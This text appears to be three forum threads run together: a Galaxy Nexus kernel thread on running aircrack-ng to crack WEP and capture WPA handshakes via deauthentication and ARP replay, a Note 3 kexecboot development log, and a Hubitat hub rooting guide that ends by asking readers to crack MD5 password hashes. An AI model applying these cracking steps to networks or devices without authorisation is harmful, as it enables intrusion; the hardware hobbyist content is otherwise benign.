Sent from my Galaxy Nexus using xda premium

michaelmotes said:
You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.
Click to expand...
Click to collapse
I will try the settings as I already have the app! Huge thanks!

Wow I tried to get rtl8187 working since 2 weeks, but never was able to crosscompile the kernel modules.. And you found a kernel, that has these modules already intergrated thank you very very much

It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.

michaelmotes said:
It was brought to my attention that the patches for the compat wireless drivers from aircrack-ng haven't been applied to the driver in the kernel I provided. Nonetheless, aircrack-ng, aireplay-ng, airmon-ng, and airodump-ng still work. The only one that might give you a problem is aireplay-ng because it uses the patches to get the channel of the bssid from the driver, which without the patch just returns -1. I was able to get around it by using the command line option --ignore-negative-one when using aireplay and the ARP request replay attack (attack 3) and fake authentication (attack 1) still worked.
Also, a word to the wise, I overheated my cpu while running airodump, aireplay ARP request replay, and aircrack all at once and caused a kernel panic and emergency shutdown. So, I would advise only running airodump and aireplay, then waiting until you have lots of packets, stopping airepaly and airodump, and then running aircrack. Or, maybe even underclocking the cpu while running in backtrack.
Click to expand...
Click to collapse
Could we patch it manually? We would need to download the kernel source somewhere in the chroot session and modify the makefile then?

You can patch it manually. But, like I said, I'm happy with it, I can crack wep keys and that is what I wanted to do, still as an academic exercise, or academic triathlon, you can patch it manually. To start, I would try getting the kernel source for the gnex, or maybe from Kernel-XP I linked. He might give it to you if you asked. Then, I would recompile the kernel with not changes.
The kernel must be recompiled using the arm gcc toolchain, you can get it like:
$ git clone https://android.googlesource.com/platform/prebuilt
$ export PATH=$(pwd)/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin:$PATH
I would install all the necessaries on a regular desktop and follow the instructions for building kernels here: http://source.android.com/source/building-kernels.html.
Once you get the kernel rebuilt and it works, look into patching the compat-wireless source here: http://www.aircrack-ng.org/doku.php?id=compat-wireless
And then take a look here: http://stackoverflow.com/questions/4849063/cross-compile-lkm-module-for-android-platform. It says how to setup a makefile in the driver source directory to make it cross-compile with the android kernel source.

Nice!
Cool and thanks for all the steps. Last link was the key I was missing for many weeks!
So right now WPA2 won't be working right?

What do you mean "WPA2 wont be working"?
I believe you can still caputre handshakes, and try to brute force the password. All you need is to run airodump to capture the handshake on the wpa router and run aireplay with attack 0 (deauthication) to cause a client to handshake.WPA cracking is slow though, and only possible if the router has password less then or equal to 7 characters, I think after that the odds of cracking it become worse then hitting the lottery after that. There is no way to recover a WPA key without guessing it.
Capturing the handshake just allows one to guess rapidly without the router knowing or being able to ban your mac for repeated auth attempts.

[DEV/WIP] Kexecboot Bootloader for Galaxy Note 3 N900T - Boot Multiple Kernels

This is a development thread at the moment. I'm going to start working on porting the kexec-hardboot patches to the N900T (actually CyanogenMod hlte) kernel. With the kexec-hardboot patch applied, the kernel will be able to act as a second stage bootloader and boot other kernels. Combined with the kexecboot program, it can act as a second stage bootloader, allowing you to boot kernels from any storage device without flashing them. Ultimately the goal here is to dual-boot Android and non-Android Linux without having to re-flash kernels constantly. Like with my Note i717 port I will be focusing on kexec first, then getting Debian to boot on the device with the Freedreno graphics driver. The Note 3 is a very powerful ARM device and with Freedreno working it could play many of the 3D FOSS games.
Here is my modified kexecboot that I will be using:
https://github.com/CalcProgrammer1/kexecboot
Here is a video showing how it works on the Note i717 (it will work the same way on the Note 3):
https://www.youtube.com/watch?v=qtb-TSGumNo
My Note i717 thread:
http://forum.xda-developers.com/showthread.php?t=1787856
Here is the kexec-hardboot porting guide I will be using:
https://github.com/Tasssadar/multirom/wiki/Porting-kexec-hardboot
For anyone inclined you could also get MultiROM working with this. I am not familiar with that framework but have used kexecboot many times on many devices in the past, so I am going with that.
EDIT 1: I've got the main patch applied and I've found some numbers for the addresses that I think might work. Everything compiles and I'm able to build a boot.img and flashable zip, but I'm sure it won't work in its current state. The Note 3 uses a DSI command-mode panel which is different than the Note 1's video-mode panel in that it doesn't continuously refresh (i.e. at 60Hz). Instead, screen updates must be forced manually by using an ioctl for the framebuffer device. There are several ways to handle this - I could add this ioctl into kexecboot any time it draws to the screen but this would only work for kexecboot. Alternatively I could write a background program that sits in a 60Hz waiting loop and calls the ioctl repeatedly, simulating a video-mode panel. I've talked to some other people on the #freedreno Freenode IRC channel and the refreshing background program has been done with some success on other devices (2013 Nexus 7) so I think I'll take this route first as it will hopefully let me get a framebuffer console up for debugging with.
EDIT 2: I found a way to make kexecboot refresh the screen. I call the FBIOPAN_DISPLAY ioctl in kexecboot's framebuffer refresh function and that makes the kexecboot GUI appear on screen. Now to figure out how to build a kernel and pack a boot.img.
EDIT 3: I figured out how to make boot images, it requires a device-tree supporting mkimage tool such as this: https://bitbucket.org/itsmikeramsay/mkbootimg/src I was able to build a boot.img with a precompiled kernel and my new ramdisk with kexecboot, it worked enough to show the kexecboot GUI. Now to build my modified kernel into the mix and create a kexec-bootable kernel for CM11.
EDIT 4: I might put the Note 3 kexec on hold for a bit as I clean up the Note 1 and TouchPad port of Debian. I ran into an issue on the Note 1 with Kexec where CM wouldn't mount the internal storage when booted via kexec-hardboot. I still need the Note 3 as my primary phone so I can't hack on it without a backup plan.
EDIT 5: The issue with storage not mounting appears to be related to having an ext-formatted SD card inserted (which is where I keep Debian). Booting without the card inserted works fine. Hopefully the same applies to the Note 3.
EDIT 6: I got the kexecboot kernel builder scripts for the Note 1 up on github now and released the first version of it, so I'm going to look into the Note 3 some more. I didn't realize that the Note 3 uses device tree until I messed with it earlier. I'm not sure if kexec needs to reserve a dtb image for the kernel or not, that could be a major roadblock if so as the patch I ported didn't take device tree into account. I'm not entirely sure how device tree and atags work but somehow they're related apparently, at least in terms of kexec.
EDIT 7: I think I have my build root mostly set up for Note 3. Initial test was a failure, though it did at least attempt to boot my new kernel rather than drop into download mode like my earlier attempts. I need to figure out what device tree stuff is required in order to boot a compiled kernel with the new mkboot tool and then enable fbconsole so I can see when the display changes.
EDIT 8: I think I figured out how to make a dt.img file now for the device tree stuff, but I've found that my ramdisk doesn't work on the stock CM11 kernel binary nor my custom compiled one. It did, however, work when patched into LeanKernel's boot.img (replacing the default ramdisk). This was the result of that: http://i.imgur.com/c2racE1.jpg I may try using the leankernel defconfig as a base instead of the CM11 defconfigs.
EDIT 9: Derp herp derp herp didn't look at the boot partition size...it's 11.0MB. My cm-based boot.img was 12.3MB. Of course that ain't gonna work.
EDIT 10: WOOT! Kernel has booted, xz compression is some wizard level magic, it shaved off like 3MB without changing anything else. Now to reapply the kexec-hardboot stuff and see how it fares.
EDIT 11: I spent some more time looking into kexec-hardboot on the Note 1 (as it's a ton easier to debug since it has a video-mode panel) and figured out how to properly reset it. The important code is in relocate_kernel.S, an assembly function that does the very last wrap-up stuff before rebooting. On the Note I was letting the watchdog timer kick the reset after hanging on an infinite loop, but the Note 3 doesn't seem to have this watchdog in place and will loop endlessly. The important thing to note from this is that relocate_kernel.S uses physical addressing. The Note had a pretty in-depth reboot procedure and it looks like the Note 3 may be a bit simpler. I'll be looking into this soon to see if I can get it rebooting correctly.
EDIT 12: I'm going to use USB serial for debugging instead of messing with the stupid fbconsole. To initialize the USB you need to set up the ID fields in /sys/class/android_usb/android0 and set functions to acm. Then use getty (part of busybox) to open a bash shell on the port with "getty -n -l bash 115200 ttyGS0 linux". Then use minicom or other terminal on PC to connect to the ttyACMx interface.
EDIT 13: I was able to get a working shell through USB and play around with kexec tools directly. It would not boot when I did kexec -e, whether or not I used hardboot or not. I may need to apply a patch to load dtb images for the kexec'd kernel.
EDIT 14: Looks like I'll need to build my own kexec-tools based off the newest release (v2.0.7) which has device tree image support. I'm still looking for a hardboot implementation that uses dtb images.
EDIT 15: I dug through the stack of calls up from machine_kexec to figure out why machine_kexec was never called. It appears that kernel_restart_prepare (kernel/kexec.c, line 1595) might be hanging and keeping the system awake instead of dropping through to machine_kexec() like it should. Since we're rebooting with hardboot anyways it should be reasonably safe to just forget a clean shutdown and cut straight to the machine_kexec() function. The bootloader will reinitialize the hardware anyways. This is hopefully almost the end, as I'm sure my reboot code is being called and it is successfully rebooting. It hasn't booted the new kernel yet but it could be an address issue.
EDIT 16: Something's happening...I think I may be right on the edge of getting it working but not quite there yet. I got it to lock up after rebooting which means that the redirection was successful (redirecting to the kexec kernel instead of the kexec-boot kernel) but the kexec kernel is crashed or something. Probably something to do with device tree. It might require a dt.img passed in or it might require the command line being set.
EDIT 17: I managed to get Tasssadar's MultiROM kexec-tools to build. I talked to XDA user flar2 who had done some work on the HTC One M8 and ran into a similar issue with device tree kernels not booting. He mentioned that there may be some custom device tree entries that aren't being picked up by kexec-tools and gave me a link to a repository to look at. For now, here's my kexec-tools branch based on Tasssadar's work with the fixed-up Makefiles that compile correctly: https://github.com/CalcProgrammer1/kexec-tools/tree/kexec-tools-2.0.2 I will look into this more this weekend or so.
EDIT 18: So the Note 3 kernel doesn't have last_kmsg (RAM console) enabled for some reason, or at least it isn't appearing despite being enabled in config. RAM console shows the dmesg (kernel log) of the previous kernel run so long as the reserved RAM area isn't erased. This is important as it allows viewing any logs left behind by failed-to-boot kexec'd kernels. I'm guessing both the host (kexecboot) and guest kernel will need RAM console to be working for any meaningful debugging. Samsung has all sorts of goofy debug stuff (SEC_DEBUG_) but the RAM console doesn't appear to be part of that.
EDIT 19: After a lot of printk's and a lot of failures I got last_kmsg support working! This means booting a last_kmsg supporting kernel and then rebooting into another last_kmsg supporting kernel will grant you a /proc/last_kmsg file that contains the previous boot's dmesg log. This will be incredibly helpful for kexec testing. For any other kernel devs who want this capability, you need to register a platform_device for ram_console using the start and end addresses already included for the persistent_ram ram_console registration. For some idiot reason it reserves the persistent RAM but it doesn't set up a ram_console device to use said RAM.
EDIT 20: New Tools! With the help of some users in the S4 forum, I have some new debugging tools available to better see what's going on with reboots. First is viewmem (http://blog.maurus.be/2011/01/23/samsung-i9000-irom-dump/) which dumps memory to stdout. The Note 3 kernel has sec_debug which logs boot messages from the bootloader and optionally kernel to address 0x10000008 in memory. Viewmem is able to read this log as well as inspect other memory locations to see if things are where they should be. The other debugging tool is a physical serial port, hidden on the USB data pins. Putting a 615K resistor between GND and the ID pin of the USB connector as well as shorting the VCC and GND pins causes the port to go into serial debug mode on reboot. The D+ and D- pins become TX and RX, and hooking up a 3.3V serial interface (PL2303 USB serial breakout in my case) you can dump bootloader and kernel messages to a PC running a serial console.

cant wait to give it a shot
this sounds amazing for the note 3

sounds like Ubuntu will be coming soon
Cant wait to dual boot AOSP and TW
I'm so proud to be the same t mobile person as you
I take off my hat and bow!
only if I had a bank account I would so donate to you
Just keep doing what your doing
And you will become famous a xda
I will so make this Thread a Newsworthy Thread!

Update 4
Im crying
Well best of luck

Definitely worth waiting for, we'll be here

Robbdreality said:
Definitely worth waiting for, we'll be here
Click to expand...
Click to collapse
+1

I got framebuffer console working on the Note 1 a bit better last night, though it's still not great. I really need to get framebuffer console working on the Note 3 before anything because it makes debugging a whole lot easier. The super-high DPI might become a problem though, the text was already hard to read on the Note 1's 800p screen. This is what I'm looking forward to seeing on the Note 3: http://i.imgur.com/1kmKDOw.jpg

CalcProgrammer1 said:
I got framebuffer console working on the Note 1 a bit better last night, though it's still not great. I really need to get framebuffer console working on the Note 3 before anything because it makes debugging a whole lot easier. The super-high DPI might become a problem though, the text was already hard to read on the Note 1's 800p screen. This is what I'm looking forward to seeing on the Note 3: http://i.imgur.com/1kmKDOw.jpg
Click to expand...
Click to collapse
Same there But ubuntu
What linux is that one

Debian (testing). I chose it over Ubuntu because it works better in a chroot from within Android. Upstart (Ubuntu's init system) doesn't like chroot or running services from in a chroot as well. Ultimately the idea is to be able to use it both as a chroot within Android (to host ssh and samba and such while still being an Android phone) as well as a full blown reboot into Debian system for playing with the GPU and using hardware that Android normally locks. My TouchPad setup is exactly this, where the Debian rootfs is located within Android's data partition as /data/debian and the initramfs init script on my kernel bind-mounts that directory as the root directory before passing over to the Debian init. You could do the same with Ubuntu as well. The biggest issue is the kernel which you can put whatever distro you want on top of.

i wish you all the luck in the world hmm!?! No, ?!? I wish you all the luck in the whole cosmos! @CalcProgrammer1

update 10
im so happy

Agreed, love the progress

Update 11
Keep up the good work

USBhost said:
Update 11
Keep up the good work
Click to expand...
Click to collapse
+1

This is really cool
Sent from my SM-N900T using XDA Free mobile app

iakeco said:
This is really cool
Sent from my SM-N900T using XDA Free mobile app
Click to expand...
Click to collapse
ii there

Update 14, rootin for you

Robbdreality said:
Update 14, rootin for you
Click to expand...
Click to collapse
+1

Robbdreality said:
Update 14, rootin for you
Click to expand...
Click to collapse
Just now root'in? You should've rooted a long time ago! Using Android without root is a nightmare!

CalcProgrammer1 said:
Just now root'in? You should've rooted a long time ago! Using Android without root is a nightmare!
Click to expand...
Click to collapse
I will never get a device without root
The vary day that i got ny N7 i unlocked the bootloader and rooted it lol
But i think he meant something like im cheering for you

Hubitat Elevation [C7] rooting guide

Hubitat elevation is a smart home hub (Z-Wave/Zigbee/IP). The primary advantage of the device comparing to numerous commercial products is its ability to work without a cloud connection. Unfortunately, Hubitat folks restricted access to the device, so out of the box your tinkering abilities are virtually non-existent. We're going to fix this in this rooting guide.
Hubitat Elevation hardware is built around Amlogic A113X SoC, and it is very similar to Amlogic s420 and s400 boards. It is based on a standard Android architecture and it runs linaro. The bootloader is U-Boot, but the boot timeout is set to zero, so you cannot get to the U-Boot shell/console.
To root the device using this method you will need:
- 3.3v USB to serial adapter
- Some electronics skills
- Linux/Development skills
(Apologies, this guide is not a step-by-step process for for unskilled users)
Rooting Hubitat Elevation C7:
- Open your Hubitat Elevation (there are 4 screws on the botton under rubber pads). Exactly in the middle of the board, you will see an unmarked test point. This is the recovery/bootloader mode switch. If you connect it to the ground and then plug the device into a USB port, your compluter should detect new USB device (Amlogic bootloader port).
- On the component side of the board, find four test points in a row (marked 2TP1.. 2TP4). This is Amlogic UART. 2TP2 is RX 2TP3 is TX (115200,8,N,1). Use a 3.3v USB to serial adapter to connect. If properly connected, you will be able to see boot log and interact with the console.
- You can use pyamlboot to boot from USB. Boot images can be generated using meta-meson (github.com/superna9999/meta-meson). Elevation C4 uses Amlogic A113X, so you need to build for Amlogic s420 or Amlogic s400 board. You need, at a minimum, to build two USB bootloader files (u-boot.bin.usb.bl2 and u-boot.bin.usb.tpl) for pyamlboot.
- Booting U-boot over USB using pyamlboot will get you into u-boot console. From there you can boot Linux kernel from USB, MMC, or set bootdelay for Hubitat's u-boot so you can interrupt the Hubitat's U-boot and get access to its console.
- To set bootdelay option for Hubitat's u-boot, just read environment located at MMC offset 0x27400000 (or MMC block #0x13A000) into memory, edit bootdelay, and write it back to the MMC. This will get you access hubitat's uboot console.
- boot Linux from boot or recovery partitions with edited command line that gives you shell access.
- Once you get root shell, just create a new user, add it to /etc/sudoers, and remove iptables rule in /etc that blocks inbound SSH port. You will not be able to log in to Hubitat Elevation over SSH.
Enjoy the tinkering freedom!
P.S.: Anyone with a password cracker and a beefy GPU, please recover passwords for root and hub users from MD5 hashes in /etc/shadow

I'm looking to go through this now but I have an older Hubitat version. I'd assume the process will be similar though. Is this something that would work for connect to the UART? https://www.amazon.com/Adapter-Seri...+USB+to+serial+adapter&qid=1608139326&sr=8-15

Does anyone have a dump of the firmware?

I have made some progress using the main post as a jumping off point. If anyone is interested in this board message me. I would love to work on this with someone. I am new to hardware hacking.